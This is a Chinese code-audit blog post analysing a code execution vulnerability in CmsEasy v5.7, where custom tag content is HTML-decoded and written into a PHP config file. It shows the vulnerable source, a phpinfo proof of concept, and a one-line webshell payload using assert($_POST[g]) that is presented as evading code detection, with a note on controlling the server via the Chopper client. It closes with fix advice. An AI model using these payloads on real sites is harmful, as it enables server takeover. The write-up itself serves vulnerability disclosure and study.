正文

【代码审计】CmsEasy_v5.7 代码执行漏洞分析

IP云
IP云V管理员/7 阅读
06/27
提示：扫一扫查出行
【扫一扫了解最新限行尾号】
复制提示

 

0x00 环境准备

CmsEasy官网：http://www.cmseasy.cn/

网站源码版本：CmsEasy_v5.7_UTF8-0208

程序源码下载：

http://ftp.cmseasy.cn/CmsEasy5.x/CmsEasy_5.7_UTF-8_20180208.zip

测试网站首页：

0x01 代码分析

1、漏洞文件位置：/lib/table/table_templatetagwap.php 第3-20行：

  1. class table_templatetag extends table_mode {
  2. function vaild() {
  3. if(!front::post('name')) {
  4. front::flash('请填写名称！');
  5. return false;
  6. }
  7. if(!front::post('tagcontent')) {
  8. front::flash('请填写内容！');
  9. return false;
  10. 10.         }
  11. 11.         return true;
  12. 12.     }
  13. 13.     function save_before() {
  14. 14.         if(!front::post('tagfrom')) front::$post['tagfrom']='define';
  15. 15.         if(!front::post('attr1')) front::$post['attr1']='0';
  16. 16.         if(front::$post['tagcontent']) front::$post['tagcontent'] = htmlspecialchars_decode(front::$post['tagcontent']);
  17. 17.     }

18. }

可以看到在写入文件之前，使用htmlspecialchars_decode函数把预定义的 HTML 实体 "<"（小于）和 ">"（大于）转换为字符。因此我们可以使用双引号闭合，从而构造出Payload写入文件，进一步触发代码，导致程序在实现上存在代码执行漏洞。攻击者可通过构造恶意脚本代码写入配置文件，从而执行命令，控制网站服务器权限。

0x02 漏洞利用

1、登录后台， 模板--自定义标签—添加自定义标签--填写Payload—提交：

Payload： 1111111111";}<?php phpinfo()?>

2、提交保存后，点击预览，成功触发代码，或者查看id的值，然后直接访问文件路径：http://127.0.0.1/config/tag/category_13.php

3、附绕代码检测的一句话Payload: 11";}<?php assert($_POST[g]);?>

通过菜刀连接，控制网站服务器：

0x03 修复建议

1、写入配置文件前，对特殊字符（如”、<、>等）进行htmlencode处理；

2、全局配置可考虑写入数据库进行调用。

最后

欢迎关注个人微信公众号：Bypass--，每周原创一篇技术干货。